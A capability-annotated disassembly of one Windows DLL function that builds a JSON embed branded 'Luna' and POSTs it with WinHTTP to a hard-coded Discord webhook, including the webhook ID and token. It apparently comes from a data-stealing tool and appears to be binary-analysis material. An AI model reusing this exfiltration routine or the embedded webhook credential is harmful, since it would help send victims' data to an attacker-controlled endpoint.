Function at 0x180007610
Capabilities:
Prepare http request
Receive http response

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x18]
sub rsp, 0x118
mov rax, qword [0x180078080]
xor rax, rsp
mov qword [rbp + 8], rax
mov rsi, r9
mov rdi, r8
mov rbx, rdx
mov r14, rcx
xor r15d, r15d
mov dword [rsp + 0x30], 0x800000
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8, str._api_webhooks_1198394760184987678_oQ_xGZkWWCcsW0c_FB7sbtdJta6jzRafu2Dsb10Y2NsvWXMoV6XpEkaiN11G6dkxjoV9
lea rdx, str.POST
mov rcx, qword [rcx + 8]
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov qword [r14 + 0x10], rax
mov rcx, qword [rbx + 0x10]
movabs rax, 0x7fffffffffffffff
sub rax, rcx
cmp rax, 0x36
jb 0x180007b96
mov rax, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x18000769b
mov rax, qword [rbx]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x36
lea r9, str._username_:_Luna___content_:null__embeds_:__title_:_
mov r8, rbx
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp - 0x58]
call fcn.180004050
nop
mov rcx, qword [rbp - 0x48]
mov rdx, qword [rbp - 0x40]
mov rax, rdx
sub rax, rcx
cmp rax, 0x11
jb 0x180007712
lea rax, [rcx + 0x11]
mov qword [rbp - 0x48], rax
lea rbx, [rbp - 0x58]
cmp rdx, 0xf
cmova rbx, qword [rbp - 0x58]
add rbx, rcx
mov r8d, 0x11
lea rdx, str.___description_:_
mov rcx, rbx
call fcn.18005dd80
mov byte [rbx + 0x11], 0
lea rax, [rbp - 0x58]
jmp 0x180007736
mov qword [rsp + 0x20], 0x11
lea r9, str.___description_:_
movzx r8d, byte [rsp + 0x40]
mov edx, 0x11
lea rcx, [rbp - 0x58]
call fcn.180002b70
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 8], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x18], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 8], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8, qword [rdi + 0x10]
cmp qword [rdi + 0x18], 0xf
jbe 0x180007771
mov rdi, qword [rdi]
mov rdx, rdi
lea rcx, [rbp - 0x18]
call fcn.180009860
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x78], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x78], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rcx, qword [rsp + 0x78]
mov rdx, qword [rbp - 0x80]
mov rax, rdx
sub rax, rcx
cmp rax, 0x2e
jb 0x1800077fe
lea rax, [rcx + 0x2e]
mov qword [rsp + 0x78], rax
lea rbx, [rsp + 0x68]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x68]
add rbx, rcx
mov r8d, 0x2e
lea rdx, str.___footer_:_text_:_github.com_Luna___color_:
mov rcx, rbx
call fcn.18005dd80
mov byte [rbx + 0x2e], 0
lea rax, [rsp + 0x68]
jmp 0x180007823
mov qword [rsp + 0x20], 0x2e
lea r9, str.___footer_:_text_:_github.com_Luna___color_:
movzx r8d, byte [rsp + 0x40]
mov edx, 0x2e
lea rcx, [rsp + 0x68]
call fcn.180002b70
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x28], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x38], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x28], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8, qword [rsi + 0x10]
cmp qword [rsi + 0x18], 0xf
jbe 0x18000785e
mov rsi, qword [rsi]
mov rdx, rsi
lea rcx, [rbp - 0x38]
call fcn.180009860
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x58], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x58], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rcx, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
mov rax, rdx
sub rax, rcx
cmp rax, 0x20
jb 0x1800078ec
lea rax, [rcx + 0x20]
mov qword [rsp + 0x58], rax
lea rbx, [rsp + 0x48]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x48]
add rbx, rcx
mov r8d, 0x20
lea rdx, str.__fields_:_____attachments_:__
mov rcx, rbx
call fcn.18005dd80
mov byte [rbx + 0x20], 0
lea rax, [rsp + 0x48]
jmp 0x180007911
mov qword [rsp + 0x20], 0x20
lea r9, str.__fields_:_____attachments_:__
movzx r8d, byte [rsp + 0x40]
mov edx, 0x20
lea rcx, [rsp + 0x48]
call fcn.180002b70
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
mov qword [rbp - 0x68], r15
mov qword [rbp - 0x60], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x78], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x68], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x18000797b
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007976
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007b9c
call fcn.1800363a4
movdqa xmm0, xmmword [0x180062130]
movdqu xmmword [rsp + 0x58], xmm0
mov byte [rsp + 0x48], 0
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x1800079c9
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800079c4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007ba2
call fcn.1800363a4
movdqa xmm0, xmmword [0x180062130]
movdqu xmmword [rbp - 0x28], xmm0
mov byte [rbp - 0x38], 0
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x180007a16
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007a11
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007ba8
call fcn.1800363a4
movdqa xmm0, xmmword [0x180062130]
movdqu xmmword [rsp + 0x78], xmm0
mov byte [rsp + 0x68], 0
mov rdx, qword [rbp]
cmp rdx, 0xf
jbe 0x180007a64
inc rdx
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007a5f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007bae
call fcn.1800363a4
movdqa xmm0, xmmword [0x180062130]
movdqu xmmword [rbp - 8], xmm0
mov byte [rbp - 0x18], 0
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x180007ab0
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007aab
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007bb4
call fcn.1800363a4
movdqa xmm0, xmmword [0x180062130]
movdqu xmmword [rbp - 0x48], xmm0
mov byte [rbp - 0x58], 0
lea r9, [rbp - 0x78]
cmp qword [rbp - 0x60], 0xf
cmova r9, qword [rbp - 0x78]
mov qword [rsp + 0x30], r15
mov rax, qword [rbp - 0x68]
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], eax
mov r8d, 0xffffffff
lea rdx, str.Content_Type:_application_json_r_n
mov rcx, qword [r14 + 0x10]
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x180007b07
xor edx, edx
mov rcx, qword [r14 + 0x10]
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
lea rdx, str.Request_Body:
lea rcx, [0x18007a3e0]
call fcn.1800013d0
lea rdx, [rbp - 0x78]
cmp qword [rbp - 0x60], 0xf
cmova rdx, qword [rbp - 0x78]
mov r8, qword [rbp - 0x68]
mov rcx, rax
call fcn.180002410
mov rcx, rax
call fcn.180003690
nop
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x180007b74
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007b6f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007b90
call fcn.1800363a4
mov rcx, qword [rbp + 8]
xor rcx, rsp
call fcn.1800364c0
add rsp, 0x118
pop r15
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.18003d2bc
int3
call fcn.180009820
nop
call fcn.18003d2bc
nop
call fcn.18003d2bc
nop
call fcn.18003d2bc
nop
call fcn.18003d2bc
nop
call fcn.18003d2bc
int3